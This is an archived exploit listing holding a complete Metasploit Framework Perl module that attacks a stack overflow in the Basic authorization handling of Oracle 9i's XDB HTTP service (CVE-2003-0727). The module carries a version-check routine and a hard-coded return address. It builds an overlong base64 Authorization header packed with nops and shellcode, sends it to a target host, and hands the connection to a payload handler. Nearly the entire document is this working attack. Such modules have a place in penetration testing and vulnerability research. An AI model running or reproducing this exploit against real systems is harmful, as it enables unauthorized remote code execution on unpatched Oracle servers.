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oracle9i_xdb_http.pm.txt

oracle9i_xdb_http.pm.txt
Posted Dec 14, 2005
Authored by y0

This Metasploit module exploits a stack overflow in the authorization code of the Oracle 9i HTTP XDB service.

tags | exploit, web, overflow
SHA-256 | 4f4b1da5eb055a4a7fb509da7b708e276fbf6eb7e21f623f4d5f462f7c6375a2

oracle9i_xdb_http.pm.txt

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##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::oracle9i_xdb_http;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{

'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 8080],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the authorization
code of the Oracle 9i HTTP XDB service. David Litchfield,
has illustrated multiple vulnerabilities in the Oracle
9i XML Database (XDB), during a seminar on "Variations
in exploit methods between Linux and Windows" presented
at the Blackhat conference.
}),

'Refs' => [
['BID', '8375'],
['CVE', '2003-0727'],
['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf']
],

'DefaultTarget' => 0,
'Targets' => [

['Oracle 9.2.0.1 Universal', 0x60616d46],

],

'Keys' => ['oracle'],

'DisclosureDate' => 'Aug 18 2003',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("GET / HTTP/1.0\r\n\r\n");
my $res = $s->Recv(-1, 20);
$s->Close();

if ($res !~ /9\.2\.0\.1\.0/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] Vulnerable installation detected :-)");
return $self->CheckCode('Detected');
}

sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $offset = $self->GetVar('OFFSET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

my $splat =
"meta:". Pex::Text::LowerCaseText(442). "\xeb\x64\x42\x42".
pack('V', $target->[1]). "wwwwoooottttsssshhhhllll".
$self->MakeNops(242). "\xeb\x10". $self->MakeNops(109). $shellcode;

my $sploit =
"GET / HTTP/1.1". "\r\n".
"Host: $target_host:$target_port". "\r\n".
"User-Agent: Mozilla/5.0 (X11; U; Linux i686;".
"en-US; rv:1.7.12) Gecko/20050923". "\r\n".
"Accept: text/xml,application/xml,application".
"/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,".
"image/png,*/*;q=0.5". "\r\n".
"Accept-Language: en-us,en;q=0.5". "\r\n".
"Accept-Encoding: gzip,deflate". "\r\n".
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7". "\r\n".
"Keep-Alive: 300". "\r\n".
"Connection: keep-alive". "\r\n".
"Authorization: Basic ". Pex::Text::Base64Encode($splat, '').
"\r\n\r\n";

$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}

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